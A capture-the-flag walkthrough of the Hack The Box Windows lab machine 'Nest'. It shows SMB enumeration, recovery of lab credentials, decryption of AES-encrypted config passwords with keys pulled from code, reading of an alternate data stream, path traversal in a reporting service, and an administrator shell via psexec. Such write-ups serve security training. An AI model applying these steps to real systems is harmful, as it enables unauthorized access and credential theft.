Hack The Box - Nest Writeup
Overview
Nest is an easy windows box by VbScrub.
The box starts with guest SMB enumeration, where we find credentials for a user. Further enumerating the smb-share with the user, we find an encrypted password and a VisualBasic Project. This project can be used to decrypt the password that was encrypted using AES. Using the decrypted password, we can access to home folder of the user and read user.txt.
In order to get root, we first have to get the debug password for the service running on port 4386, which is hidden in an ADS (Alternate Data Stream). The debug password allows us to use path-traversal and read a config file containing the encrypted administrator password. In order to decrypt the password, we have to decompile an exe to get the key and IV. We can then decrypt the password, which is encrypted using AES. With the administrator password we can use psexec to get a shell on the system and read root.txt.
Information Gathering
Nmap
Starting off with a nmap to check for open ports.
root@darkness:~# nmap -p- 10.10.10.178
Nmap scan report for 10.10.10.178
Host is up (0.045s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
445/tcp open microsoft-ds
4386/tcp open unknown
Enumeration
We have only two ports open: 445 (SMB) and 4386. Let us begin enumerating SMB.
SMB - Port 445
We can try to access and list all smb shares using Anonymous login. Using smbmap we can list all shares:
root@darkness:~# smbmap -H 10.10.10.178 -u Anonymous
[+] Guest session IP: 10.10.10.178:445 Name: 10.10.10.178
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
Data READ ONLY
IPC$ NO ACCESS Remote IPC
Secure$ NO ACCESS
Users READ ONLY
The share Data
is accessible by us. We can use smbclient
further enumerate the share.
root@darkness:~# smbclient //10.10.10.178/Data -U Anonymous
Enter WORKGROUP\Anonymous password:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Thu Aug 8 00:53:46 2019
.. D 0 Thu Aug 8 00:53:46 2019
IT D 0 Thu Aug 8 00:58:07 2019
Production D 0 Mon Aug 5 23:53:38 2019
Reports D 0 Mon Aug 5 23:53:44 2019
Shared D 0 Wed Aug 7 21:07:51 2019
10485247 blocks of size 4096. 6545823 blocks available
smb: \>
Let us mount the share to make enumeration easier.
root@darkness:~# mkdir /mnt/nest; mount -o user=Guest -t cifs //10.10.10.178/Data /mnt/nest
Password for Guest@//10.10.10.178/Data:
We can now use find
to show all accessible files of the share.
root@darkness:/mnt/nest# find .
.
./IT
find: ‘./IT’: Permission denied
./Production
find: ‘./Production’: Permission denied
./Reports
find: ‘./Reports’: Permission denied
./Shared
./Shared/Maintenance
./Shared/Maintenance/Maintenance Alerts.txt
./Shared/Templates
./Shared/Templates/HR
./Shared/Templates/HR/Welcome Email.txt
./Shared/Templates/Marketing
There are two txt files that could be interesting, let us check them out.
root@darkness:/mnt/nest# cat "Shared/Maintenance/Maintenance Alerts.txt"
There is currently no scheduled maintenance work
root@darkness:/mnt/nest# cat "Shared/Templates/HR/Welcome Email.txt"
We would like to extend a warm welcome to our newest member of staff, <FIRSTNAME> <SURNAME>
You will find your home folder in the following location:
\\HTB-NEST\Users\<USERNAME>
If you have any issues accessing specific services or workstations, please inform the
IT department and use the credentials below until all systems have been set up for you.
Username: TempUser
Password: welcome2019
Thank you
HR
The Welcome Email.txt
file contains credentials for the user TempUser
. Let us see if this user has any more access.
root@darkness:~# smbmap -H 10.10.10.178 -u TempUser -p welcome2019
[+] IP: 10.10.10.178:445 Name: 10.10.10.178
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
Data READ ONLY
IPC$ NO ACCESS Remote IPC
Secure$ READ ONLY
Users READ ONLY
The user TempUser has access to a new location: Secure$
, that was not previously accessible when using a Guest session. Before we check this share out, let us see if we can access any new files in the Data share.
root@darkness:~# umount /mnt/nest; mount -o user=TempUser -t cifs //10.10.10.178/Data /mnt/nest/
Password for TempUser@//10.10.10.178/Data: ***********
root@darkness:/mnt/nest# find .
.
./IT
./IT/Archive
./IT/Configs
./IT/Configs/Adobe
./IT/Configs/Adobe/editing.xml
./IT/Configs/Adobe/Options.txt
./IT/Configs/Adobe/projects.xml
./IT/Configs/Adobe/settings.xml
./IT/Configs/Atlas
./IT/Configs/Atlas/Temp.XML
./IT/Configs/DLink
./IT/Configs/Microsoft
./IT/Configs/Microsoft/Options.xml
./IT/Configs/NotepadPlusPlus
./IT/Configs/NotepadPlusPlus/config.xml
./IT/Configs/NotepadPlusPlus/shortcuts.xml
./IT/Configs/RU Scanner
./IT/Configs/RU Scanner/RU_config.xml
./IT/Configs/Server Manager
./IT/Installs
./IT/Reports
./IT/Tools
./Production
./Reports
./Shared
./Shared/Maintenance
./Shared/Maintenance/Maintenance Alerts.txt
./Shared/Templates
./Shared/Templates/HR
./Shared/Templates/HR/Welcome Email.txt
./Shared/Templates/Marketing
We have a couple of new files we can access. The config.xml files of NotepadPlusPlus
and RU Scanner
seem the most interesting.
root@darkness:/mnt/nest# cat "IT/Configs/RU Scanner/RU_config.xml"
<?xml version="1.0"?>
<ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>389</Port>
<Username>c.smith</Username>
<Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>
root@darkness:/mnt/nest# cat "IT/Configs/NotepadPlusPlus/config.xml"
[...]
<History nbMaxFile="15" inSubMenu="no" customLength="-1">
<File filename="C:\windows\System32\drivers\etc\hosts" />
<File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
<File filename="C:\Users\C.Smith\Desktop\todo.txt" />
</History>
[...]
We have an encrypted password: fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=
and a new location: \\HTB-NEST\Secure$\IT\Carl\Temp.txt
. Let us check out the new location next.
root@darkness:~# umount /mnt/nest; mount -o user=TempUser -t cifs //10.10.10.178/Secure$ /mnt/nest/
Password for TempUser@//10.10.10.178/Secure$: ***********
root@darkness:/mnt/nest# find .
.
./Finance
find: ‘./Finance’: Permission denied
./HR
find: ‘./HR’: Permission denied
./IT
find: ‘./IT’: Permission denied
Seems like we don’t have the permission to list files and folders on this share. Let us try to access the location we found in the config file.
root@darkness:/mnt/nest# cd IT/Carl
find .
.
./Docs
./Docs/ip.txt
./Docs/mmc.txt
./Reports
./VB Projects
./VB Projects/Production
./VB Projects/WIP
./VB Projects/WIP/RU
./VB Projects/WIP/RU/RUScanner
./VB Projects/WIP/RU/RUScanner/bin
./VB Projects/WIP/RU/RUScanner/bin/Debug
./VB Projects/WIP/RU/RUScanner/bin/Release
./VB Projects/WIP/RU/RUScanner/ConfigFile.vb
./VB Projects/WIP/RU/RUScanner/Module1.vb
./VB Projects/WIP/RU/RUScanner/My Project
./VB Projects/WIP/RU/RUScanner/My Project/Application.Designer.vb
./VB Projects/WIP/RU/RUScanner/My Project/Application.myapp
./VB Projects/WIP/RU/RUScanner/My Project/AssemblyInfo.vb
./VB Projects/WIP/RU/RUScanner/My Project/Resources.Designer.vb
./VB Projects/WIP/RU/RUScanner/My Project/Resources.resx
./VB Projects/WIP/RU/RUScanner/My Project/Settings.Designer.vb
./VB Projects/WIP/RU/RUScanner/My Project/Settings.settings
./VB Projects/WIP/RU/RUScanner/obj
./VB Projects/WIP/RU/RUScanner/obj/x86
./VB Projects/WIP/RU/RUScanner/RU Scanner.vbproj
./VB Projects/WIP/RU/RUScanner/RU Scanner.vbproj.user
./VB Projects/WIP/RU/RUScanner/SsoIntegration.vb
./VB Projects/WIP/RU/RUScanner/Utils.vb
./VB Projects/WIP/RU/RUScanner.sln
Seems like we have access to this folder. The VB Projects
folder contains the matching project to the RU_config.xml
file. Let us check out this project.
Reversing VB Project
Let us check out the VB Project and see if we are able to decrypt the password.
root@darkness:/mnt/nest/IT/Carl/VB Projects/WIP/RU/RUScanner# cat Module1.vb
Module Module1
Sub Main()
Dim Config As ConfigFile = ConfigFile.LoadFromFile("RU_Config.xml")
Dim test As New SsoIntegration With {.Username = Config.Username, .Password = Utils.DecryptString(Config.Password)}
End Sub
End Module
The Module1.vb
file shows that the password out of the RU_Config.xml file is decrypted using the Utils.DecryptString function. Let us check out the decrypt function in the Utils.vb
file.
root@darkness:/mnt/nest/IT/Carl/VB Projects/WIP/RU/RUScanner# cat Utils.vb
[...]
Public Shared Function DecryptString(EncryptedString As String) As String
If String.IsNullOrEmpty(EncryptedString) Then
Return String.Empty
Else
Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
End If
End Function
[...]
Public Shared Function Decrypt(ByVal cipherText As String, _
ByVal passPhrase As String, _
ByVal saltValue As String, _
ByVal passwordIterations As Integer, _
ByVal initVector As String, _
ByVal keySize As Integer) _
As String
[...]
Dim symmetricKey As New AesCryptoServiceProvider
symmetricKey.Mode = CipherMode.CBC
[...]
Return plainText
End Function
Seems like the password is encrypted using AES CBC (Cipher Block Chaining) mode. We can now either write our own decryption script or use CyberChef to decrypt it.
Using VB
If we want to decrypt the password using VisualBasic, we simply have to run the Decrypt
function and print its output.
Dim password as String
password = Decrypt("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=", "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
Console.WriteLine(password)
Using CyberChef
If we want to use CyberChef instead, we first have to get password and the IV in base64 to avoid errors. After we have all the values, we can use this recipe to get the password.
To get the values, we can simply add these two lines to the Decrypt
function.
Console.WriteLine("IV: " + Convert.ToBase64String(initVectorBytes))
Console.WriteLine("KEY: " + Convert.ToBase64String(keyBytes))
Output:
IV: NDY0UjVERkE1REw2TEUyOA==
KEY: ds25KDWF4Fz1PRRlhVL2oYKF5Jxj6SZQeNTw6KR36Ko=
Where we then get the output, which we can add to CyberChef.
Running CyberChef we get the password: xRxRxPANCAK3SxRxRx
.
We can now mount the home folder of the user c.smith and read user.txt.
root@darkness:~# umount /mnt/nest; mount -o user=C.Smith -t cifs //10.10.10.178/Users /mnt/nest/
Password for C.Smith@//10.10.10.178/Users: ******************
root@darkness:/mnt/nest/C.Smith# cat user.txt
cf71b***************************
Enumeration as C.Smith
Now that we got user.txt, let us enumerate to find a privesc path to root. Checking out the home folder, we find a folder called “HQK Reporting”.
root@darkness:/mnt/nest/C.Smith/HQK Reporting# ls
'AD Integration Module' 'Debug Mode Password.txt' HQK_Config_Backup.xml
root@darkness:/mnt/nest/C.Smith/HQK Reporting# cat HQK_Config_Backup.xml
<?xml version="1.0"?>
<ServiceSettings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<Port>4386</Port>
<QueryDirectory>C:\Program Files\HQK\ALL QUERIES</QueryDirectory>
</ServiceSettings>
Seems like the service running on port 4386 is called HQK Reporting
.
root@darkness:~# telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.
HQK Reporting Service V1.2
>HELP
This service allows users to run queries against databases using the legacy HQK format
--- AVAILABLE COMMANDS ---
LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
Connecting to the port confirms that HQK Reporting is running. Seems like we can activate DEBUG mode, if we specify a password.
root@darkness:/mnt/nest/C.Smith/HQK Reporting# ls -alh
total 4.5K
drwxr-xr-x 2 root root 4.0K Aug 9 2019 .
drwxr-xr-x 2 root root 0 Jan 26 08:21 ..
drwxr-xr-x 2 root root 0 Aug 9 2019 'AD Integration Module'
-rwxr-xr-x 1 root root 0 Aug 9 2019 'Debug Mode Password.txt'
-rwxr-xr-x 1 root root 249 Aug 9 2019 HQK_Config_Backup.xml
There is a file called Debug Mode Password.txt
, however it is empty.
We can check for ADS (Alternate Data Streams) using smbclient, like mentioned in this superuser thread.
root@darkness:~# smbclient -U C.Smith \\\\10.10.10.178\\Users -c 'allinfo "C.Smith/HQK Reporting/Debug Mode Password.txt"'
Enter WORKGROUP\C.Smith password: xRxRxPANCAK3SxRxRx
altname: DEBUGM~1.TXT
create_time: Fri Aug 9 01:06:12 AM 2019 CEST
access_time: Fri Aug 9 01:06:12 AM 2019 CEST
write_time: Fri Aug 9 01:08:17 AM 2019 CEST
change_time: Fri Aug 9 01:08:17 AM 2019 CEST
attributes: A (20)
stream: [::$DATA], 0 bytes
stream: [:Password:$DATA], 15 bytes
Indeed it seems like there is an ADS with 15 bytes of data.
root@darkness:~# smbclient -U C.Smith \\\\10.10.10.178\\Users
Enter WORKGROUP\C.Smith password: xRxRxPANCAK3SxRxRx
smb: \> cd "C.Smith\HQK Reporting"
smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt:Password:$DATA"
getting file \C.Smith\HQK Reporting\Debug Mode Password.txt:Password:$DATA of size 15 as Debug Mode Password.txt:Password:$DATA (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
root@darkness:~# cat Debug\ Mode\ Password.txt\:Password\:\$DATA
WBQ201953D8w
Dir-Traversal in HQK Reporting
Now that we have the DEBUG password, let us see what new privileges we have now.
root@darkness:~# telnet 10.10.10.178 4386
Trying 10.10.10.178...
Connected to 10.10.10.178.
Escape character is '^]'.
HQK Reporting Service V1.2
>HELP
This service allows users to run queries against databases using the legacy HQK format
--- AVAILABLE COMMANDS ---
LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
>DEBUG WBQ201953D8w
Debug mode enabled. Use the HELP command to view additional commands that are now available
>HELP
This service allows users to run queries against databases using the legacy HQK format
--- AVAILABLE COMMANDS ---
LIST
SETDIR <Directory_Name>
RUNQUERY <Query_ID>
DEBUG <Password>
HELP <Command>
SERVICE
SESSION
SHOWQUERY <Query_ID>
>
SHOWQUERY
in combination with SETDIR
and LIST
gives us arbitrary file-read.
>SETDIR ..
Current directory set to HQK
>LIST
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command
QUERY FILES IN CURRENT DIRECTORY
[DIR] ALL QUERIES
[DIR] LDAP
[DIR] Logs
[1] HqkSvc.exe
[2] HqkSvc.InstallState
[3] HQK_Config.xml
Current Directory: HQK
>SETDIR LDAP
Current directory set to LDAP
>LIST
Use the query ID numbers below with the RUNQUERY command and the directory names with the SETDIR command
QUERY FILES IN CURRENT DIRECTORY
[1] HqkLdap.exe
[2] Ldap.conf
Current Directory: LDAP
>SHOWQUERY 2
Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=
Using ..
for the SETDIR
command we can traverse our path and using SHOWQUERY
we can read Ldap.conf
, which contains the encrypted password for the administrator user.
Decompiling HqkLdap.exe
Let us download the HqkLdap.exe
file and decompile it to decrypt the administrator password.
root@darkness:/mnt/nest/C.Smith/HQK Reporting/AD Integration Module# ls
HqkLdap.exe
We can now decompile the exe using either dotPeek or ILSpy.
Looking at the class CR, it seems like the password is encrypted using AES with CBC mode, just like the previous one.
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace HqkLdap
{
public class CR
{
//Passphrase
private const string K = "667912";
//IV
private const string I = "1L1SA61493DRV53Z";
//Salt
private const string SA = "1313Rf99";
//Decrypt String
public static string DS(string EncryptedString)
{
return string.IsNullOrEmpty(EncryptedString) ? string.Empty : CR.RD(EncryptedString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256);
}
[...]
//Decryption function
private static string RD(
string cipherText,
string passPhrase,
string saltValue,
int passwordIterations,
string initVector,
int keySize)
{
byte[] bytes1 = Encoding.ASCII.GetBytes(initVector);
byte[] bytes2 = Encoding.ASCII.GetBytes(saltValue);
byte[] buffer = Convert.FromBase64String(cipherText);
byte[] bytes3 = new Rfc2898DeriveBytes(passPhrase, bytes2, passwordIterations).GetBytes(checked ((int) Math.Round(unchecked ((double) keySize / 8.0))));
AesCryptoServiceProvider cryptoServiceProvider = new AesCryptoServiceProvider();
cryptoServiceProvider.Mode = CipherMode.CBC;
ICryptoTransform decryptor = cryptoServiceProvider.CreateDecryptor(bytes3, bytes1);
MemoryStream memoryStream = new MemoryStream(buffer);
CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read);
byte[] numArray = new byte[checked (buffer.Length + 1)];
int count = cryptoStream.Read(numArray, 0, numArray.Length);
memoryStream.Close();
cryptoStream.Close();
return Encoding.ASCII.GetString(numArray, 0, count);
}
}
}
We can now either reuse our VB script and simply change passphrase, salt, IV and ciphertext or use CyberChef again.
Using VB
We can reuse our VB script with the new values and decrypt the administrator password.
Dim password as String
password = Decrypt("yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=", "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256)
Console.WriteLine(password)
Using CyberChef
If we want to use CyberChef, we have to get the key and IV.
IV: MUwxU0E2MTQ5M0RSVjUzWg==
KEY: f8ynhOLdqhoTFp9kEWlM9tkNHlkE8IQf2eDLJyOXCQg=
With the new key and new IV we can adjust the recipe by simply changing the parameters.
Getting shell as Administrator
Now that we have the admin password XtH4nkS4Pl4y1nGX
, we can use psexec to get a shell as admin.
root@darkness:~# psexec.py administrator:XtH4nkS4Pl4y1nGX@10.10.10.178
Impacket v0.9.22.dev1+20200513.101403.9a4b3f52 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on 10.10.10.178.....
[*] Found writable share ADMIN$
[*] Uploading file UOTwocMg.exe
[*] Opening SVCManager on 10.10.10.178.....
[*] Creating service eWxW on 10.10.10.178.....
[*] Starting service eWxW.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>type root.txt
6594c***************************